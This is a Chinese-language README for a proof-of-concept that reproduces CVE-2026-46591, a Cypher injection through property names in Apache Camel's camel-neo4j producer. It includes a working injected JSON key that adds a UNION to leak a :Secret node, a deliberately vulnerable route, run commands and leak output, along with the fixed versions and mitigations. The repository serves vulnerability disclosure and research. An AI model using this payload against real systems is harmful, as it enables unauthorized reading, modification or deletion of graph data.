本项目演示 Apache Camel camel-neo4j 组件中的一个 Cypher 注入漏洞,编号为 CVE-2026-46591。生产者根据 CamelNeo4jMatchProperties map 构建其匹配/检索和删除操作的 Cypher WHERE 子句。CVE-2025-66169 通过将属性值绑定为查询参数($paramN)修复了通过属性值进行的注入——但属性名称(该 map 的 JSON 键)在 Neo4jProducer.retrieveNodes() 和 deleteNode() 中仍然被原样拼接进查询字符串。因此,包含 Cypher 语法的属性名称会改变所执行查询的结构。
本 PoC 将影响演示为授权绕过 / 数据泄露:攻击者将 Cypher 放入 JSON 键,使 :Person 查询被改写(通过 UNION)为还会返回一个本不该被访问的 :Secret 节点——与公告中的“读取、修改或删除任意节点或关系”一致。
公告:https://camel.apache.org/security/CVE-2026-46591.html
这是 CVE-2025-66169(CAMEL-22719) 的不完整修复后续:该修复将值参数化,但属性名称仍保持字符串插值。与 CVE-2025-27636、CVE-2026-40453 等同属 header 注入邻近家族。
// Neo4jProducer.retrieveNodes (受影响的 4.18.2) — 值是参数,名称被原样拼接:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
if (paramIndex > 0) whereClause.append(" AND ");
String paramName = "param" + paramIndex;
whereClause.append(alias).append(".").append(entry.getKey()) // <-- entry.getKey()(JSON 键)未转义
.append(" = $").append(paramName);
queryParams.put(paramName, entry.getValue()); // 值被安全绑定
paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);
使用良性 map {"name":"alice"} 时,查询为
MATCH (n:Person) WHERE n.name = $param0 RETURN n。使用恶意键时:
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
构建出的查询变为(模板中的尾部 // = $param0 RETURN n 被注释掉):
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node
因此响应同时包含调用者的 :Person 节点和 :Secret 节点。
修复(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23528)在 retrieveNodes() 和 deleteNode() 中增加了严格的属性名称验证
(^[A-Za-z_][A-Za-z0-9_]*$),任何不匹配的名称都会抛出 Neo4jOperationException。
from("platform-http:/lookup")
.convertBodyTo(String.class)
.setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
.setHeader(Neo4jHeaders.MATCH_PROPERTIES, body()) // 不受信任的 JSON body 成为匹配 map
.to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");
一个“按属性查找人员”的 API:客户端以 JSON 形式提供匹配条件,路由将其作为 CamelNeo4jMatchProperties 交给生产者。图数据库中包含两个 :Person 节点和一个 :Secret 节点,人员查询绝不应当返回后者的 value。
受害者是 Camel 路由及其 Neo4j 数据库;攻击者是一个将 Cypher 放入 JSON 键的 HTTP 客户端。一个小型种子程序负责创建节点,并在 Neo4j 就绪后放行启动。
CVE-2026-46591/
├── pom.xml # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml # neo4j 5.26 + 应用
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Neo4jSettings.java # 主机 / bolt / 凭据 / secret 标志
│ ├── Neo4jConfig.java # Neo4j Driver bean(引用为 #neo4jDriver)
│ ├── Neo4jSeeder.java # 等待 Neo4j,创建 :Person + :Secret 节点
│ ├── VictimRoute.java # platform-http:/lookup -> neo4j RETRIEVE_NODES
│ └── ExploitController.java # 攻击者:合法查询 vs JSON 键中的 Cypher
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # 首次启动会拉取约 1GB 的 neo4j 镜像
# 等待应用日志出现 "Started Application",然后执行:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
=== 1) 合法查询 body={"name":"alice"} ===
[{name=alice, role=user}]
secret leaked: false
=== 2) 注入查询 (JSON 键中的 Cypher) ===
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
[{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
secret leaked: true
>>> Cypher 注入证明 —— 属性名称将查询改写为读取 :Person 查询绝不应当返回的 :Secret 节点:true
任何将不受信任的数据带入 CamelNeo4jMatchProperties 并执行 RETRIEVE_NODES 或 DELETE_NODE 操作的路由。除了通过 UNION 读取其他标签外,注入的键还可以添加 SET/DELETE/DETACH DELETE 子句,以修改或破坏任意节点和关系。
升级到 4.14.8 / 4.18.3 / 4.21.0(CAMEL-23528)。修复后,属性名称在放入查询前会针对 ^[A-Za-z_][A-Za-z0-9_]*$ 进行验证。
在升级之前,不要使用不受信任的输入填充 CamelNeo4jMatchProperties:在进入 Neo4j 生产者之前验证或白名单属性名称(例如针对 ^[A-Za-z_][A-Za-z0-9_]*$),并确保任何向此类路由提供数据的消费者过滤入站 Camel* / camel* header,使匹配 header 无法由外部发送者提供。
本复现程序仅用于安全研究和授权测试,针对的是已公开披露并已修复的漏洞。未经明确许可,请勿将其用于任何系统。
| 属性 | 值 |
|---|
| 组件 | camel-neo4j |
| 受影响类 | org.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode(属性名称被插入 WHERE 子句) |
| CWE | CWE-943(数据查询逻辑中特殊元素未正确中和) |
| 影响 | Cypher 注入 → 读取 / 修改 / 删除任意节点和关系 |
| 前置条件 | 路由将不受信任的输入映射到 CamelNeo4jMatchProperties map(例如请求体);由于该 header 带 Camel 前缀,普通 HTTP 客户端无法直接设置它 |
| 受影响版本 | 4.10.0 至 4.14.8 之前,4.15.0 至 4.18.3 之前,4.19.0 至 4.21.0 之前 |
| 修复版本 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23528(PR apache/camel#23258) |
| 致谢 | Yu Bao (PayPal) |